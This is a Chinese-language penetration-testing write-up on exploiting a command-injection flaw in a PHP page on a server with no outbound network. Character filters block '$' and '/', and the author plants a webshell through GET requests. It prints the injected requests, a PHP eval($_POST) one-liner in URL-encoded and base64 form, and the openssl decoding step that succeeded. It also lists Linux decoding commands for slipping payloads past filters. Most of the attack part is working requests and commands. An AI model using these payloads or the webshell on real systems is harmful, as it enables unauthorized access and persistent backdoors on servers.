不出网命令执行GET请求写webshell
前言
在某次测试中,环境存在命令执行漏洞,PHP环境-5.6.30,环境不出网,部分特殊符号无法使用($、/),在请求中不能出现斜杠(/),编码后(%2f)也不行,双重编码,写到文件时,只会解码一次,输出(%2f)。
问题记录
测试如下:
1 | GET /con.php?cmd=;id; HTTP/1.1 |
示:页面回显
1 写入PHP文件
写入测试文件,获取时间,没问题,正常php解析。
1 | GET /con.php?cmd=;echo%20%22%3c%3fphp%20echo%20time()%3b%3f%3e%22%20%3e%20187292720.php; HTTP/1.1 |
示:写入echo ““ > 187292720.php 正常解析
1.1 写入木马文件失败
写入一句话木马,文件是写入成功,尝试连接失败,写入txt文件,在此环境中,$符号被解析了,写入的数据不完整。
1 | GET /con.php?cmd=;echo%20%22l%3c%3fphp%20%40eval(%24_POST%5b1024%5d)%3f%3e%22%20%3e%20187292720.php; HTTP/1.1 |
示:连接失败
示:写入txt查看
2 尝试编码
尝试使用base64编码,写入文件,一直无法解码成功,尝试过使用Hex编码解码,同样也不行,文件内容一直为空。(最初以为是有WAF拦截生成的PHP文件)
1 | GET /con.php?cmd=;echo%20PD9waHAgQGV2YWwoJF9QT1NUWzEwMjRdKSAgPz4%3d%20%3e%20187292720.txt; HTTP/1.1 |
1 | echo PD9waHAgQGV2YWwoJF9QT1NUWzEwMjRdKSAgPz4= > 187292720.txt |
示:
3 踩坑
1 | GET /con.php?cmd=;which%20base64; HTTP/1.1 |
base64、xxd命令一般情况下命令都会存在,刚开始没想会是命令的问题,因为命令运行文件生成了,只不过内容为空。通过which命令看了下,没有返回路径,环境内不存在base64命令,xxd命令也不存在。【之前的命令一直使用>号,进行写入文件,文件正常生成。然而误导了,以为命令运行成功。实际命令运行异常,同样会正常生成文件。】
1 | which base64 //null |
测试下来发现openssl命令存在,通过openssl命令解码成功写入文件。
1 | echo "PD9waHAgQGV2YWwoJF9QT1NUWzEwMjRdKSAgPz4g" > 187292720.txt |
示:连接成功
各编码利用方式
查找资料,汇总了linux自带的一些解码命令,方便后续查找,之前一直都是用的base64命令和hex编码。
1 自带解码命令
1.1.1 base64
适用系统:CentOS、Ubuntu(默认安装)
功能:将 Base64 编码的字符串解码为原始数据
1 | echo "SGVsbG8=" | base64 -d // 输出 "Hello" |
1.1.2 echo -e
适用系统:CentOS、Ubuntu(默认安装)
功能:将十六进制字符串转换为对应字符并输出
1 | echo -e "\x48\x65\x6c\x6c\x6f" // 输出 "Hello" |
1.1.3 printf
适用系统:CentOS、Ubuntu(默认安装)
功能:将十六进制字符串转换为对应字符并输出
1 | printf "\x48\x65\x6c\x6c\x6f\n" // 输出 "Hello" |
1.1.4 xxd
适用系统:Ubuntu(默认安装);CentOS(需要安装
xxd
或vim-common
)
功能:十六进制到字符串的转换
1 | echo "48656c6c6f" | xxd -r -p // 输出 "Hello" |
1.1.5 printf
适用系统:CentOS、Ubuntu(默认安装)
功能:将十六进制字符串转换为对应字符并输出
1 | printf "\x48\x65\x6c\x6c\x6f\n" // 输出 "Hello" |
1.1.6 perl
适用系统:CentOS、Ubuntu(默认安装)
功能:解码 Base64 编码的字符串
1 | echo "SGVsbG8=" | perl -MMIME::Base64 -ne 'print decode_base64($_)' |
1.1.7 openssl
适用系统:CentOS、Ubuntu(默认安装)
功能:与base64
相似,提供解码功能
1 | echo "PD9waHAgZWNobyB0aW1lKCk7Pz4=" > 726234211.txt |
注意事项
在特殊环境中,命令应尽量避免使用重定向(>)这种方式写入文件,使用命令自带的参数。【base64 -o xxx】【openssl -out xxx】,有些情况下需要通过http的状态码,判断文件是否成功写入,避免误判断。